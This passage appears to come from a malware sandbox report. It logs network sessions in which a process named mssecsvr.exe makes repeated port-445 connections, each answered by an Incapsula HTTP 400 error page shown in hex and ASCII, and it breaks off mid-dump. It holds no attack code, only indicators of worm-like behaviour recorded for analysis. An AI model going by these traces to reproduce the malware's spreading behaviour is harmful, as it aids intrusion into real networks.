69 64 3d 22 6d 61 69 6e 2d 69 66 72 61 6d 65 22 20 73 72 63 3d 22 2f 5f 49 6e 63 61 70 73 75 6c 61 5f 52 65 73 6f 75 72 63 65 3f 43 57 55 44 4e 53 41 49 3d 32 26 78 69 6e 66 6f 3d 31 34 2d 31 31 33 34 32 37 38 31 35 2d 30 25 32 30 30 4e 4e 4e 25 32 30 52 54 25 32 38 31 36 35 38 33 33 38 34 36 33 35 34 33 25 32 30 31 25 32 39 25 32 30 71 25 32 38 2d 31 25 32 30 2d 31 25 32 30 2d 31 25 32 30 2d 31 25 32 39 25 32 30 72 25 32 38 30 25 32 30 2d 31 25 32 39 25 32 30 62 31 26 69 6e 63 69 64 65 6e 74 5f 69 64 3d 30 2d 35 35 34 34 39 39 35 35 38 30 33 38 37 36 37 37 35 38 26 65 64 65 74 3d 33 26 63 69 6e 66 6f 3d 66 66 66 66 66 66 66 66 26 70 65 3d 35 34 34 26 72 70 69 6e 66 6f 3d 30 26 6d 74 68 3d 4e 41 22 20 66 72 61 6d 65 62 6f 72 64 65 72 3d 30 20 77 69 64 74 68 3d 22 31 30 30 25 22 20 68 65 69 67 68 74 3d 22 31 30 30 25 22 20 6d 61 72 67 69 6e 68 65 69 67 68 74 3d 22 30 70 78 22 20 6d 61 72 67 69 6e 77 69 64 74 68 3d 22 30 70 78 22 3e 52 65 71 75 65 73 74 20 75 6e 73 75 63 63 65 73 73 66 75 6c 2e 20 49 6e 63 61 70 73 75 6c 61 20 69 6e 63 69 64 65 6e 74 20 49 44 3a 20 30 2d 35 35 34 34 39 39 35 35 38 30 33 38 37 36 37 37 35 38 3c 2f 69 66 72 61 6d 65 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html style="height:100%"><head><META NAME="ROBOTS" CONTENT="NOINDEX, NOFOLLOW"><meta name="format-detection" content="telephone=no"><meta name="viewport" content="initial-scale=1.0"><meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1"></head><body style="margin:0px;height:100%"><iframe id="main-iframe" src="/_Incapsula_Resource?CWUDNSAI=2&xinfo=14-113427815-0%200NNN%20RT%281658338463543%201%29%20q%28-1%20-1%20-1%20-1%29%20r%280%20-1%29%20b1&incident_id=0-554499558038767758&edet=3&cinfo=ffffffff&pe=544&rpinfo=0&mth=NA" frameborder=0 width="100%" height="100%" marginheight="0px" marginwidth="0px">Request unsuccessful. Incapsula incident ID: 0-554499558038767758</iframe></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
163	45.60.207.36	445	192.168.2.7	62941	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
Jul 20, 2022 19:34:27.222790003 CEST	11660	IN	HTTP/1.1 400 Bad Request Content-Type: text/html Cache-Control: no-cache, no-store Connection: close Content-Length: 700 X-Iinfo: 14-113428270-0 0NNN RT(1658338466591 0) q(-1 -1 -1 -1) r(0 -1) b1 Data Raw: 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 3c 68 65 61 64 3e 3c 4d 45 54 41 20 4e 41 4d 45 3d 22 52 4f 42 4f 54 53 22 20 43 4f 4e 54 45 4e 54 3d 22 4e 4f 49 4e 44 45 58 2c 20 4e 4f 46 4f 4c 4c 4f 57 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 66 6f 72 6d 61 74 2d 64 65 74 65 63 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 6c 65 70 68 6f 6e 65 3d 6e 6f 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 2c 63 68 72 6f 6d 65 3d 31 22 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 3a 30 70 78 3b 68 65 69 67 68 74 3a 31 30 30 25 22 3e 3c 69 66 72 61 6d 65 20 69 64 3d 22 6d 61 69 6e 2d 69 66 72 61 6d 65 22 20 73 72 63 3d 22 2f 5f 49 6e 63 61 70 73 75 6c 61 5f 52 65 73 6f 75 72 63 65 3f 43 57 55 44 4e 53 41 49 3d 32 26 78 69 6e 66 6f 3d 31 34 2d 31 31 33 34 32 38 32 37 30 2d 30 25 32 30 30 4e 4e 4e 25 32 30 52 54 25 32 38 31 36 35 38 33 33 38 34 36 36 35 39 31 25 32 30 30 25 32 39 25 32 30 71 25 32 38 2d 31 25 32 30 2d 31 25 32 30 2d 31 25 32 30 2d 31 25 32 39 25 32 30 72 25 32 38 30 25 32 30 2d 31 25 32 39 25 32 30 62 31 26 69 6e 63 69 64 65 6e 74 5f 69 64 3d 30 2d 35 35 34 35 30 32 36 39 33 33 36 34 38 39 33 38 33 38 26 65 64 65 74 3d 33 26 63 69 6e 66 6f 3d 66 66 66 66 66 66 66 66 26 70 65 3d 35 34 34 26 72 70 69 6e 66 6f 3d 30 26 6d 74 68 3d 4e 41 22 20 66 72 61 6d 65 62 6f 72 64 65 72 3d 30 20 77 69 64 74 68 3d 22 31 30 30 25 22 20 68 65 69 67 68 74 3d 22 31 30 30 25 22 20 6d 61 72 67 69 6e 68 65 69 67 68 74 3d 22 30 70 78 22 20 6d 61 72 67 69 6e 77 69 64 74 68 3d 22 30 70 78 22 3e 52 65 71 75 65 73 74 20 75 6e 73 75 63 63 65 73 73 66 75 6c 2e 20 49 6e 63 61 70 73 75 6c 61 20 69 6e 63 69 64 65 6e 74 20 49 44 3a 20 30 2d 35 35 34 35 30 32 36 39 33 33 36 34 38 39 33 38 33 38 3c 2f 69 66 72 61 6d 65 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html style="height:100%"><head><META NAME="ROBOTS" CONTENT="NOINDEX, NOFOLLOW"><meta name="format-detection" content="telephone=no"><meta name="viewport" content="initial-scale=1.0"><meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1"></head><body style="margin:0px;height:100%"><iframe id="main-iframe" src="/_Incapsula_Resource?CWUDNSAI=2&xinfo=14-113428270-0%200NNN%20RT%281658338466591%200%29%20q%28-1%20-1%20-1%20-1%29%20r%280%20-1%29%20b1&incident_id=0-554502693364893838&edet=3&cinfo=ffffffff&pe=544&rpinfo=0&mth=NA" frameborder=0 width="100%" height="100%" marginheight="0px" marginwidth="0px">Request unsuccessful. Incapsula incident ID: 0-554502693364893838</iframe></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
164	45.60.207.37	445	192.168.2.7	62944	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
Jul 20, 2022 19:34:27.337146044 CEST	11663	IN	HTTP/1.1 400 Bad Request Content-Type: text/html Cache-Control: no-cache, no-store Connection: close Content-Length: 697 X-Iinfo: 10-14103079-0 0NNN RT(1658338467294 0) q(-1 -1 -1 -1) r(0 -1) b1 Data Raw: 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 3c 68 65 61 64 3e 3c 4d 45 54 41 20 4e 41 4d 45 3d 22 52 4f 42 4f 54 53 22 20 43 4f 4e 54 45 4e 54 3d 22 4e 4f 49 4e 44 45 58 2c 20 4e 4f 46 4f 4c 4c 4f 57 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 66 6f 72 6d 61 74 2d 64 65 74 65 63 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 6c 65 70 68 6f 6e 65 3d 6e 6f 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 2c 63 68 72 6f 6d 65 3d 31 22 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 3a 30 70 78 3b 68 65 69 67 68 74 3a 31 30 30 25 22 3e 3c 69 66 72 61 6d 65 20 69 64 3d 22 6d 61 69 6e 2d 69 66 72 61 6d 65 22 20 73 72 63 3d 22 2f 5f 49 6e 63 61 70 73 75 6c 61 5f 52 65 73 6f 75 72 63 65 3f 43 57 55 44 4e 53 41 49 3d 32 26 78 69 6e 66 6f 3d 31 30 2d 31 34 31 30 33 30 37 39 2d 30 25 32 30 30 4e 4e 4e 25 32 30 52 54 25 32 38 31 36 35 38 33 33 38 34 36 37 32 39 34 25 32 30 30 25 32 39 25 32 30 71 25 32 38 2d 31 25 32 30 2d 31 25 32 30 2d 31 25 32 30 2d 31 25 32 39 25 32 30 72 25 32 38 30 25 32 30 2d 31 25 32 39 25 32 30 62 31 26 69 6e 63 69 64 65 6e 74 5f 69 64 3d 30 2d 37 30 36 37 39 31 34 31 35 31 31 39 39 32 31 33 38 26 65 64 65 74 3d 33 26 63 69 6e 66 6f 3d 66 66 66 66 66 66 66 66 26 70 65 3d 35 34 34 26 72 70 69 6e 66 6f 3d 30 26 6d 74 68 3d 4e 41 22 20 66 72 61 6d 65 62 6f 72 64 65 72 3d 30 20 77 69 64 74 68 3d 22 31 30 30 25 22 20 68 65 69 67 68 74 3d 22 31 30 30 25 22 20 6d 61 72 67 69 6e 68 65 69 67 68 74 3d 22 30 70 78 22 20 6d 61 72 67 69 6e 77 69 64 74 68 3d 22 30 70 78 22 3e 52 65 71 75 65 73 74 20 75 6e 73 75 63 63 65 73 73 66 75 6c 2e 20 49 6e 63 61 70 73 75 6c 61 20 69 6e 63 69 64 65 6e 74 20 49 44 3a 20 30 2d 37 30 36 37 39 31 34 31 35 31 31 39 39 32 31 33 38 3c 2f 69 66 72 61 6d 65 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html style="height:100%"><head><META NAME="ROBOTS" CONTENT="NOINDEX, NOFOLLOW"><meta name="format-detection" content="telephone=no"><meta name="viewport" content="initial-scale=1.0"><meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1"></head><body style="margin:0px;height:100%"><iframe id="main-iframe" src="/_Incapsula_Resource?CWUDNSAI=2&xinfo=10-14103079-0%200NNN%20RT%281658338467294%200%29%20q%28-1%20-1%20-1%20-1%29%20r%280%20-1%29%20b1&incident_id=0-70679141511992138&edet=3&cinfo=ffffffff&pe=544&rpinfo=0&mth=NA" frameborder=0 width="100%" height="100%" marginheight="0px" marginwidth="0px">Request unsuccessful. Incapsula incident ID: 0-70679141511992138</iframe></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
165	45.60.207.37	445	192.168.2.7	63195	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
Jul 20, 2022 19:34:30.381357908 CEST	11671	IN	HTTP/1.1 400 Bad Request Content-Type: text/html Cache-Control: no-cache, no-store Connection: close Content-Length: 696 X-Iinfo: 5-10954383-0 0NNN RT(1658338470338 0) q(-1 -1 -1 -1) r(0 -1) b1 Data Raw: 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 3c 68 65 61 64 3e 3c 4d 45 54 41 20 4e 41 4d 45 3d 22 52 4f 42 4f 54 53 22 20 43 4f 4e 54 45 4e 54 3d 22 4e 4f 49 4e 44 45 58 2c 20 4e 4f 46 4f 4c 4c 4f 57 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 66 6f 72 6d 61 74 2d 64 65 74 65 63 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 6c 65 70 68 6f 6e 65 3d 6e 6f 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 2c 63 68 72 6f 6d 65 3d 31 22 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 3a 30 70 78 3b 68 65 69 67 68 74 3a 31 30 30 25 22 3e 3c 69 66 72 61 6d 65 20 69 64 3d 22 6d 61 69 6e 2d 69 66 72 61 6d 65 22 20 73 72 63 3d 22 2f 5f 49 6e 63 61 70 73 75 6c 61 5f 52 65 73 6f 75 72 63 65 3f 43 57 55 44 4e 53 41 49 3d 32 26 78 69 6e 66 6f 3d 35 2d 31 30 39 35 34 33 38 33 2d 30 25 32 30 30 4e 4e 4e 25 32 30 52 54 25 32 38 31 36 35 38 33 33 38 34 37 30 33 33 38 25 32 30 30 25 32 39 25 32 30 71 25 32 38 2d 31 25 32 30 2d 31 25 32 30 2d 31 25 32 30 2d 31 25 32 39 25 32 30 72 25 32 38 30 25 32 30 2d 31 25 32 39 25 32 30 62 31 26 69 6e 63 69 64 65 6e 74 5f 69 64 3d 30 2d 35 32 39 30 38 34 30 39 33 38 32 31 31 34 31 31 37 26 65 64 65 74 3d 33 26 63 69 6e 66 6f 3d 66 66 66 66 66 66 66 66 26 70 65 3d 35 34 34 26 72 70 69 6e 66 6f 3d 30 26 6d 74 68 3d 4e 41 22 20 66 72 61 6d 65 62 6f 72 64 65 72 3d 30 20 77 69 64 74 68 3d 22 31 30 30 25 22 20 68 65 69 67 68 74 3d 22 31 30 30 25 22 20 6d 61 72 67 69 6e 68 65 69 67 68 74 3d 22 30 70 78 22 20 6d 61 72 67 69 6e 77 69 64 74 68 3d 22 30 70 78 22 3e 52 65 71 75 65 73 74 20 75 6e 73 75 63 63 65 73 73 66 75 6c 2e 20 49 6e 63 61 70 73 75 6c 61 20 69 6e 63 69 64 65 6e 74 20 49 44 3a 20 30 2d 35 32 39 30 38 34 30 39 33 38 32 31 31 34 31 31 37 3c 2f 69 66 72 61 6d 65 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html style="height:100%"><head><META NAME="ROBOTS" CONTENT="NOINDEX, NOFOLLOW"><meta name="format-detection" content="telephone=no"><meta name="viewport" content="initial-scale=1.0"><meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1"></head><body style="margin:0px;height:100%"><iframe id="main-iframe" src="/_Incapsula_Resource?CWUDNSAI=2&xinfo=5-10954383-0%200NNN%20RT%281658338470338%200%29%20q%28-1%20-1%20-1%20-1%29%20r%280%20-1%29%20b1&incident_id=0-52908409382114117&edet=3&cinfo=ffffffff&pe=544&rpinfo=0&mth=NA" frameborder=0 width="100%" height="100%" marginheight="0px" marginwidth="0px">Request unsuccessful. Incapsula incident ID: 0-52908409382114117</iframe></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
166	45.60.207.38	445	192.168.2.7	63312	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
Jul 20, 2022 19:34:30.494712114 CEST	11675	IN	HTTP/1.1 400 Bad Request Content-Type: text/html Cache-Control: no-cache, no-store Connection: close Content-Length: 699 X-Iinfo: 17-41194872-0 0NNN RT(1658338470284 0) q(-1 -1 -1 -1) r(0 -1) b1 Data Raw: 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 3c 68 65 61 64 3e 3c 4d 45 54 41 20 4e 41 4d 45 3d 22 52 4f 42 4f 54 53 22 20 43 4f 4e 54 45 4e 54 3d 22 4e 4f 49 4e 44 45 58 2c 20 4e 4f 46 4f 4c 4c 4f 57 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 66 6f 72 6d 61 74 2d 64 65 74 65 63 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 6c 65 70 68 6f 6e 65 3d 6e 6f 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 2c 63 68 72 6f 6d 65 3d 31 22 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 3a 30 70 78 3b 68 65 69 67 68 74 3a 31 30 30 25 22 3e 3c 69 66 72 61 6d 65 20 69 64 3d 22 6d 61 69 6e 2d 69 66 72 61 6d 65 22 20 73 72 63 3d 22 2f 5f 49 6e 63 61 70 73 75 6c 61 5f 52 65 73 6f 75 72 63 65 3f 43 57 55 44 4e 53 41 49 3d 32 26 78 69 6e 66 6f 3d 31 37 2d 34 31 31 39 34 38 37 32 2d 30 25 32 30 30 4e 4e 4e 25 32 30 52 54 25 32 38 31 36 35 38 33 33 38 34 37 30 32 38 34 25 32 30 30 25 32 39 25 32 30 71 25 32 38 2d 31 25 32 30 2d 31 25 32 30 2d 31 25 32 30 2d 31 25 32 39 25 32 30 72 25 32 38 30 25 32 30 2d 31 25 32 39 25 32 30 62 31 26 69 6e 63 69 64 65 6e 74 5f 69 64 3d 30 2d 31 39 37 30 36 37 32 38 35 38 36 35 31 36 39 36 31 37 26 65 64 65 74 3d 33 26 63 69 6e 66 6f 3d 66 66 66 66 66 66 66 66 26 70 65 3d 35 34 34 26 72 70 69 6e 66 6f 3d 30 26 6d 74 68 3d 4e 41 22 20 66 72 61 6d 65 62 6f 72 64 65 72 3d 30 20 77 69 64 74 68 3d 22 31 30 30 25 22 20 68 65 69 67 68 74 3d 22 31 30 30 25 22 20 6d 61 72 67 69 6e 68 65 69 67 68 74 3d 22 30 70 78 22 20 6d 61 72 67 69 6e 77 69 64 74 68 3d 22 30 70 78 22 3e 52 65 71 75 65 73 74 20 75 6e 73 75 63 63 65 73 73 66 75 6c 2e 20 49 6e 63 61 70 73 75 6c 61 20 69 6e 63 69 64 65 6e 74 20 49 44 3a 20 30 2d 31 39 37 30 36 37 32 38 35 38 36 35 31 36 39 36 31 37 3c 2f 69 66 72 61 6d 65 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html style="height:100%"><head><META NAME="ROBOTS" CONTENT="NOINDEX, NOFOLLOW"><meta name="format-detection" content="telephone=no"><meta name="viewport" content="initial-scale=1.0"><meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1"></head><body style="margin:0px;height:100%"><iframe id="main-iframe" src="/_Incapsula_Resource?CWUDNSAI=2&xinfo=17-41194872-0%200NNN%20RT%281658338470284%200%29%20q%28-1%20-1%20-1%20-1%29%20r%280%20-1%29%20b1&incident_id=0-197067285865169617&edet=3&cinfo=ffffffff&pe=544&rpinfo=0&mth=NA" frameborder=0 width="100%" height="100%" marginheight="0px" marginwidth="0px">Request unsuccessful. Incapsula incident ID: 0-197067285865169617</iframe></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
167	45.60.207.38	445	192.168.2.7	63569	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
Jul 20, 2022 19:34:33.540874958 CEST	11682	IN	HTTP/1.1 400 Bad Request Content-Type: text/html Cache-Control: no-cache, no-store Connection: close Content-Length: 699 X-Iinfo: 17-41195621-0 0NNN RT(1658338473330 0) q(-1 -1 -1 -1) r(0 -1) b1 Data Raw: 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 3c 68 65 61 64 3e 3c 4d 45 54 41 20 4e 41 4d 45 3d 22 52 4f 42 4f 54 53 22 20 43 4f 4e 54 45 4e 54 3d 22 4e 4f 49 4e 44 45 58 2c 20 4e 4f 46 4f 4c 4c 4f 57 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 66 6f 72 6d 61 74 2d 64 65 74 65 63 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 6c 65 70 68 6f 6e 65 3d 6e 6f 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 2c 63 68 72 6f 6d 65 3d 31 22 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 3a 30 70 78 3b 68 65 69 67 68 74 3a 31 30 30 25 22 3e 3c 69 66 72 61 6d 65 20 69 64 3d 22 6d 61 69 6e 2d 69 66 72 61 6d 65 22 20 73 72 63 3d 22 2f 5f 49 6e 63 61 70 73 75 6c 61 5f 52 65 73 6f 75 72 63 65 3f 43 57 55 44 4e 53 41 49 3d 32 26 78 69 6e 66 6f 3d 31 37 2d 34 31 31 39 35 36 32 31 2d 30 25 32 30 30 4e 4e 4e 25 32 30 52 54 25 32 38 31 36 35 38 33 33 38 34 37 33 33 33 30 25 32 30 30 25 32 39 25 32 30 71 25 32 38 2d 31 25 32 30 2d 31 25 32 30 2d 31 25 32 30 2d 31 25 32 39 25 32 30 72 25 32 38 30 25 32 30 2d 31 25 32 39 25 32 30 62 31 26 69 6e 63 69 64 65 6e 74 5f 69 64 3d 30 2d 31 39 37 30 37 31 30 39 35 35 30 31 31 36 31 31 36 39 26 65 64 65 74 3d 33 26 63 69 6e 66 6f 3d 66 66 66 66 66 66 66 66 26 70 65 3d 35 34 34 26 72 70 69 6e 66 6f 3d 30 26 6d 74 68 3d 4e 41 22 20 66 72 61 6d 65 62 6f 72 64 65 72 3d 30 20 77 69 64 74 68 3d 22 31 30 30 25 22 20 68 65 69 67 68 74 3d 22 31 30 30 25 22 20 6d 61 72 67 69 6e 68 65 69 67 68 74 3d 22 30 70 78 22 20 6d 61 72 67 69 6e 77 69 64 74 68 3d 22 30 70 78 22 3e 52 65 71 75 65 73 74 20 75 6e 73 75 63 63 65 73 73 66 75 6c 2e 20 49 6e 63 61 70 73 75 6c 61 20 69 6e 63 69 64 65 6e 74 20 49 44 3a 20 30 2d 31 39 37 30 37 31 30 39 35 35 30 31 31 36 31 31 36 39 3c 2f 69 66 72 61 6d 65 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html style="height:100%"><head><META NAME="ROBOTS" CONTENT="NOINDEX, NOFOLLOW"><meta name="format-detection" content="telephone=no"><meta name="viewport" content="initial-scale=1.0"><meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1"></head><body style="margin:0px;height:100%"><iframe id="main-iframe" src="/_Incapsula_Resource?CWUDNSAI=2&xinfo=17-41195621-0%200NNN%20RT%281658338473330%200%29%20q%28-1%20-1%20-1%20-1%29%20r%280%20-1%29%20b1&incident_id=0-197071095501161169&edet=3&cinfo=ffffffff&pe=544&rpinfo=0&mth=NA" frameborder=0 width="100%" height="100%" marginheight="0px" marginwidth="0px">Request unsuccessful. Incapsula incident ID: 0-197071095501161169</iframe></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
168	45.60.207.39	445	192.168.2.7	63571	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
Jul 20, 2022 19:34:33.646724939 CEST	11684	IN	HTTP/1.1 400 Bad Request Content-Type: text/html Cache-Control: no-cache, no-store Connection: close Content-Length: 698 X-Iinfo: 7-37204874-0 0NNN RT(1658338473199 0) q(-1 -1 -1 -1) r(0 -1) b1 Data Raw: 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 3c 68 65 61 64 3e 3c 4d 45 54 41 20 4e 41 4d 45 3d 22 52 4f 42 4f 54 53 22 20 43 4f 4e 54 45 4e 54 3d 22 4e 4f 49 4e 44 45 58 2c 20 4e 4f 46 4f 4c 4c 4f 57 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 66 6f 72 6d 61 74 2d 64 65 74 65 63 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 6c 65 70 68 6f 6e 65 3d 6e 6f 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 2c 63 68 72 6f 6d 65 3d 31 22 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 3a 30 70 78 3b 68 65 69 67 68 74 3a 31 30 30 25 22 3e 3c 69 66 72 61 6d 65 20 69 64 3d 22 6d 61 69 6e 2d 69 66 72 61 6d 65 22 20 73 72 63 3d 22 2f 5f 49 6e 63 61 70 73 75 6c 61 5f 52 65 73 6f 75 72 63 65 3f 43 57 55 44 4e 53 41 49 3d 32 26 78 69 6e 66 6f 3d 37 2d 33 37 32 30 34 38 37 34 2d 30 25 32 30 30 4e 4e 4e 25 32 30 52 54 25 32 38 31 36 35 38 33 33 38 34 37 33 31 39 39 25 32 30 30 25 32 39 25 32 30 71 25 32 38 2d 31 25 32 30 2d 31 25 32 30 2d 31 25 32 30 2d 31 25 32 39 25 32 30 72 25 32 38 30 25 32 30 2d 31 25 32 39 25 32 30 62 31 26 69 6e 63 69 64 65 6e 74 5f 69 64 3d 30 2d 31 37 38 35 31 30 31 33 32 33 32 31 36 35 33 37 30 33 26 65 64 65 74 3d 33 26 63 69 6e 66 6f 3d 66 66 66 66 66 66 66 66 26 70 65 3d 35 34 34 26 72 70 69 6e 66 6f 3d 30 26 6d 74 68 3d 4e 41 22 20 66 72 61 6d 65 62 6f 72 64 65 72 3d 30 20 77 69 64 74 68 3d 22 31 30 30 25 22 20 68 65 69 67 68 74 3d 22 31 30 30 25 22 20 6d 61 72 67 69 6e 68 65 69 67 68 74 3d 22 30 70 78 22 20 6d 61 72 67 69 6e 77 69 64 74 68 3d 22 30 70 78 22 3e 52 65 71 75 65 73 74 20 75 6e 73 75 63 63 65 73 73 66 75 6c 2e 20 49 6e 63 61 70 73 75 6c 61 20 69 6e 63 69 64 65 6e 74 20 49 44 3a 20 30 2d 31 37 38 35 31 30 31 33 32 33 32 31 36 35 33 37 30 33 3c 2f 69 66 72 61 6d 65 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html style="height:100%"><head><META NAME="ROBOTS" CONTENT="NOINDEX, NOFOLLOW"><meta name="format-detection" content="telephone=no"><meta name="viewport" content="initial-scale=1.0"><meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1"></head><body style="margin:0px;height:100%"><iframe id="main-iframe" src="/_Incapsula_Resource?CWUDNSAI=2&xinfo=7-37204874-0%200NNN%20RT%281658338473199%200%29%20q%28-1%20-1%20-1%20-1%29%20r%280%20-1%29%20b1&incident_id=0-178510132321653703&edet=3&cinfo=ffffffff&pe=544&rpinfo=0&mth=NA" frameborder=0 width="100%" height="100%" marginheight="0px" marginwidth="0px">Request unsuccessful. Incapsula incident ID: 0-178510132321653703</iframe></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
169	45.60.207.39	445	192.168.2.7	63947	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
Jul 20, 2022 19:34:36.692704916 CEST	11694	IN	HTTP/1.1 400 Bad Request Content-Type: text/html Cache-Control: no-cache, no-store Connection: close Content-Length: 698 X-Iinfo: 7-37205298-0 0NNN RT(1658338476245 0) q(-1 -1 -1 -1) r(0 -1) b1 Data Raw: 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 3c 68 65 61 64 3e 3c 4d 45 54 41 20 4e 41 4d 45 3d 22 52 4f 42 4f 54 53 22 20 43 4f 4e 54 45 4e 54 3d 22 4e 4f 49 4e 44 45 58 2c 20 4e 4f 46 4f 4c 4c 4f 57 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 66 6f 72 6d 61 74 2d 64 65 74 65 63 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 6c 65 70 68 6f 6e 65 3d 6e 6f 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 